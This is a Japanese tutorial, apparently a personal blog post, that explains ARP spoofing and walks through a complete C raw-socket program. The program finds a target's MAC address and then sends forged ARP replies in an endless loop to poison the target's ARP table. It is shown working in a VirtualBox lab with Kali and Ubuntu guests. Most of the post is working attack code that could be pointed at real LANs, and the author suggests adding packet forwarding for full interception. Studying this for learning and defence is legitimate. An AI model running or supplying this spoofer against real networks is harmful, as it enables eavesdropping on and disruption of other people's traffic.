今回はARPスプーフィングをC言語で実際に体感してみたいと思います。
VirtualBoxを用いて、ホストOS一台とゲストOS二台で行いました。 対象AはホストOSなので、MACアドレスは伏せました。盗聴者と対象BはゲストOSで、UbuntuとKali Linuxで実験しました。
ARPスプーフィングとは
簡単に言うと対象者のARPテーブルを書き換えることです。スプーフィングは英語のspoofのことで、"だます"という意味です。なので、ARPテーブルを書き換えて、対象をだますしてパケットを盗み見たり、妨害したりすることです。

例えば対象Aと対象Bが通信しているとします。これはPCでもよいですし、ルータのようなネットワーク機器をイメージすると分かりやすいかと思います。ARPスプーフィングを行う前は、赤色の経路をパケットが通過します。
しかしここで盗聴者が登場するとします。本来は関係のない盗聴者がARPスプーフィングを行い、対象Aと対象BのARPテーブルを書き換えることで、青色のような経路で通信させます。 なおARPテーブルの書き換えは、ARPリプライを使います。
青色に経路に変更することが出来るのは、最終的な目的地はIPアドレスで決まるのに対し、個々の通信はMACアドレスによって決まる仕組みを利用しているからです。例えば対象BのIPアドレスになりすまして盗聴者は、「 私のIPとMACアドレスは、〇〇〇ですよ!」と、対象BのIPアドレスと 自分のMACアドレスを対象Aに伝えます(ARPリプライ)。
こうすると、対象Aは「対象Bと通信するには、08:00:27:83:cb:b8(盗聴者)に送信すれば良いんだな」とアドレス解決(ARP)し、送信先を勘違いします。
その結果、対象Aは対象Bにパケットを送信していたつもりが、盗聴者に送っていたことになります。このとき盗聴者は対象Aから送られてきたパケットを対象Bに流すことで、あたかも対象Aと対象Bが直接やり取りしているかのように見せかけれます。
片方だけ書き換えた場合は、対象AB間の書き換えた側が送信したパケットしか見えません。なので対象AB間の通信(ex.アップリンク・ダウンリンク)を全て見るには、両方とも書き換える必要があります。
今回はCのRaw Socketを使って、実感してみます!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
#include<stdlib.h> #include<string.h> #include<stdio.h> #include<unistd.h> #include<sys/socket.h> #include<sys/ioctl.h> #include<netinet/ip.h> #include<net/ethernet.h> #include<net/if.h> #include<arpa/inet.h> #include<linux/if.h> #include<net/ethernet.h> #include<netinet/if_ether.h> #include<netpacket/packet.h> #define HARDWARE_LENGTH 6 #define IP_LENGTH 4 #define BROADCAST_ADDR (uint8_t[6]){0xFF, 0xFF, 0xFF, 0xFF, 0xFF,0xFF} #define SPOOFED_PACKET_SEND_DELAY 1 typedef struct{ struct ether_header eh; struct ether_arp arp; }PACKET_ARP; PACKET_ARP *create_arp_packet(uint16_t opcode, uint8_t *my_mac_addr, char *spoofed_ip, uint8_t *target_mac, char *target_ip); int send_packet_to_broadcast(int soc, struct sockaddr_ll *sa, uint8_t *my_mac_addr, char *spoofed_ip, char *target_ip); uint8_t *get_target_response(int soc, char *target_ip); int send_ARPreply_to_target(int soc, struct sockaddr_ll *sa, uint8_t *my_mac, char *spoofed_ip, uint8_t *target_mac, char *target_ip); uint8_t *get_my_mac(int soc, char *device); |
ライブラリのインクルード、マクロの定義、プロトタイプ宣言です。あとはarpパケットを構造体として定義します。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
PACKET_ARP *create_arp_packet(uint16_t opcode, uint8_t *my_mac_addr, char *spoofed_ip, uint8_t *target_mac, char *target_ip) { PACKET_ARP *arp_packet; if(!(arp_packet=malloc(sizeof(struct ether_header)+sizeof(struct ether_arp)))){ return NULL; } arp_packet->arp.arp_hrd = htons(ARPHRD_ETHER); arp_packet->arp.arp_pro = htons(ETHERTYPE_IP); arp_packet->arp.arp_hln = HARDWARE_LENGTH; arp_packet->arp.arp_pln = IP_LENGTH; arp_packet->arp.arp_op = htons(opcode); memcpy(arp_packet->arp.arp_sha, my_mac_addr, sizeof(uint8_t)*HARDWARE_LENGTH); if(inet_pton(AF_INET, spoofed_ip, arp_packet->arp.arp_spa)!=1){ fprintf(stderr, "ERROR: Invalid_Spoofed_IP: %s\n", spoofed_ip); return NULL; } memcpy(arp_packet->arp.arp_tha, target_mac, sizeof(uint8_t)*HARDWARE_LENGTH); if(inet_pton(AF_INET, target_ip, arp_packet->arp.arp_tpa)!=1){ fprintf(stderr, "ERROR: Invalid_Target_IP: %s\n", target_ip); return NULL; } memcpy(arp_packet->eh.ether_dhost, target_mac, sizeof(uint8_t)*HARDWARE_LENGTH); memcpy(arp_packet->eh.ether_shost, my_mac_addr, sizeof(uint8_t)*HARDWARE_LENGTH); arp_packet->eh.ether_type = htons(ETHERTYPE_ARP); return arp_packet; } |
ARPパケットを作る関数です。ARPリクエストとARPリプライを送信するので、ARPパケットを作るという機能を関数化してあります。spoofed_ipが対象Bで、target_ipが対象Aです。仮引数にMACアドレスとIPアドレスを指定して、関数内でARPパケットのフォーマットに従ってパケットを完成させます。出来たARPパケットは戻り値として、作ったARPパケットのポインタを返します。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
int send_packet_to_broadcast(int soc, struct sockaddr_ll *sa, uint8_t *my_mac_addr, char *spoofed_ip, char *target_ip) { PACKET_ARP *arp_packet; fprintf(stdout, "Before createing Got my_MAC: %02x:%02x:%02x:%02x:%02x:%02x\n", *my_mac_addr, *(my_mac_addr+1), *(my_mac_addr+2), *(my_mac_addr+3), *(my_mac_addr+4), *(my_mac_addr+5)); if(!(arp_packet=create_arp_packet(ARPOP_REQUEST, my_mac_addr, spoofed_ip, BROADCAST_ADDR, target_ip))){ fprintf(stderr, "ERROR: ARP_Packet_Creation_Failed\n"); return -1; } fprintf(stdout, "ARP_Packet_Created\n"); if((sendto(soc, arp_packet, sizeof(struct ether_header)+sizeof(struct ether_arp), 0, (struct sockaddr *)sa, sizeof(*sa)))<0){ fprintf(stdout, "ERROR: Broadcast_Fialed\n"); return -1; } fprintf(stdout, "ARP_Request_sent_to_Braodcast\n"); return 0; } |
ARPリクエストをブロードキャストする関数です。この関数内で先ほどのARPパケットを作るための関数を呼び出して、ARPリクエストを作ります。作ったら、sendtoでブロードキャストします。ちなみにwriteでは思う通りにプログラムが動作しませんでした。
ARPリクエストを受信した対象はMACアドレスを入れて、盗聴者へ返信します。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 |
uint8_t *get_target_response(int soc, char *target_ip) { u_char buf[1500]; u_char *ptr; int lest; uint8_t str_to_uint8[4]; uint8_t *target_mac; struct ether_header *eh; struct ether_arp *arp; fprintf(stdout, "Waiting_for_Target_Response...\n"); while(1) { if((lest=recvfrom(soc, buf, sizeof(buf), 0, NULL, NULL))<0){ return NULL; } fprintf(stdout, "Got_Packet %dbytes\n", lest); ptr = buf; if(lest<sizeof(struct ether_header))continue; eh=(struct ether_header *)buf; if(ntohs(eh->ether_type)==ETHERTYPE_ARP){ ptr += sizeof(struct ether_header); arp = (struct ether_arp *)ptr; } else continue; if(ntohs(arp->arp_op)==ARPOP_REPLY){ inet_pton(AF_INET, target_ip, str_to_uint8); if(memcmp(arp->arp_spa, str_to_uint8, IP_LENGTH)!=0){ fprintf(stderr, "ERROR: Traget_IP_Not_Match: %d.%d.%d.%d\n", *arp->arp_spa, *(arp->arp_spa+1), *(arp->arp_spa+2), *(arp->arp_spa+3)); continue; } }else continue; fprintf(stdout, "Got_Arp_Reply_from_Target\n"); fprintf(stdout, "Target_MAC_Address: %02x:%02x:%02x:%02x:%02x:%02x\n",*arp->arp_sha, *(arp->arp_sha+1), *(arp->arp_sha+2), *(arp->arp_sha+3), *(arp->arp_sha+4), *(arp->arp_sha+5)); fprintf(stdout, "Target_IP_Address: %d.%d.%d.%d\n", *arp->arp_spa, *(arp->arp_spa+1), *(arp->arp_spa+2), *(arp->arp_spa+3)); if(!(target_mac = malloc(sizeof(uint8_t)*HARDWARE_LENGTH))) return NULL; memcpy(target_mac, arp->arp_sha, sizeof(uint8_t)*HARDWARE_LENGTH); return target_mac; } } |
対象からARPリプライが返ってきたら、そこに対象のMACアドレスが入っているので、それをこの関数の戻り値として返します。また対象からのARPリプライ以外のパケットは、不要なので無視します。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
int send_ARPreply_to_target(int soc, struct sockaddr_ll *sa, uint8_t *my_mac, char *spoofed_ip, uint8_t *target_mac, char *target_ip) { PACKET_ARP *arp_packet; if(!(arp_packet = create_arp_packet(ARPOP_REPLY, my_mac, spoofed_ip, target_mac, target_ip))){ fprintf(stderr, "ERROR: ARP_PACKET creation failed"); return -1; } while(1) { sendto(soc, arp_packet, sizeof(struct ether_header)+sizeof(struct ether_arp), 0, (struct sockaddr *)sa, sizeof(*sa)); fprintf(stdout, "Spoofed_Packet_Sent_to: %s\n", target_ip); sleep(SPOOFED_PACKET_SEND_DELAY); } return 0; } |
対象のMACアドレスを取得したら、素材が揃いました。
自分のMACアドレス・対象BのIPアドレス・対象AのMACアドレス・対象AのIPアドレスを入れて、対象Aに向けてARPリプライをユニキャストします。そうすると対象AのARPテーブルは書き換わります。
継続的に送信していないと、正しいARPリプライを対象Bから貰い、正しいARPテーブルに戻ってしまいます。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
uint8_t *get_my_mac(int soc, char *device) { struct ifreq ifreq; uint8_t *mac; memset(&ifreq, 0, sizeof(struct ifreq)); strncpy(ifreq.ifr_name, device, sizeof(ifreq.ifr_name)-1); if(ioctl(soc, SIOCGIFHWADDR, &ifreq)<0){ perror("ERROR: SIOCGIFHWADDR\n"); return NULL; } mac=malloc(HARDWARE_LENGTH); memcpy(mac, ifreq.ifr_hwaddr.sa_data, sizeof(uint8_t)*HARDWARE_LENGTH); return mac; } |
自分のMACアドレスを取得するための関数です。ioctlでSIOCGIFHWADDRを指定して取得します。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
int main(int argc, char *argv[]) { int soc; struct sockaddr_ll sa; char *spoofed_ip, *target_ip, *interface; uint8_t *my_mac, *target_mac; if(argc != 4){ fprintf(stderr, "Usage[%s]: Spoofed_IP, Target_IP, Interface_name\n", argv[0]); return -1; } spoofed_ip = argv[1]; target_ip = argv[2]; interface = argv[3]; if((soc = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ARP)))<0){ fprintf(stderr, "ERROR: Socket_Creation_Failed\n"); return -1; } if((my_mac=get_my_mac(soc, interface))<0){ perror("ERROR: Get_My_MAC\n"); return -1; } fprintf(stdout, "Got_My_MAC: %02x:%02x:%02x:%02x:%02x:%02x\n", *my_mac, *(my_mac+1), *(my_mac+2), *(my_mac+3), *(my_mac+4), *(my_mac+5)); memset(&sa, 0, sizeof(sa)); sa.sll_ifindex = if_nametoindex(interface); fprintf(stdout, "Got_Ifindex %d from Interface %s\n", sa.sll_ifindex, interface); send_packet_to_broadcast(soc, &sa, my_mac, spoofed_ip, target_ip); target_mac = get_target_response(soc, target_ip); send_ARPreply_to_target(soc, &sa, my_mac, spoofed_ip, target_mac, target_ip); close(soc); return 0; } |
main関数です。実行時に対象AとBのIPアドレスそして、インタフェース名を指定して実行させます。
ARPスプーフィングを実際にやってみる
実行結果はこんな感じでARPテーブルが書き換わります。
対象AのARPテーブルです。盗聴者によって、対象Aが持つ対象B (192.168.198.5) のエントリー書き換えます。

実行後のARPテーブルです。対象B(192.168.198.5)のエントリーが盗聴者のMACアドレスに書き換わりました。

プログラム実行中の画面です。

今回は対象Aが持つ対象Bのエントリーを書き換えただけで終わりました。対象Aから送られてたパケットを盗聴者が、対象Bに流すコードも追記すれば、より本格的なものになります。
以上、ARPスプーフィングの体験でした。
最後まで読んでいただきありがとうございます。
参考:
https://github.com/SRJanel/arp_poisoning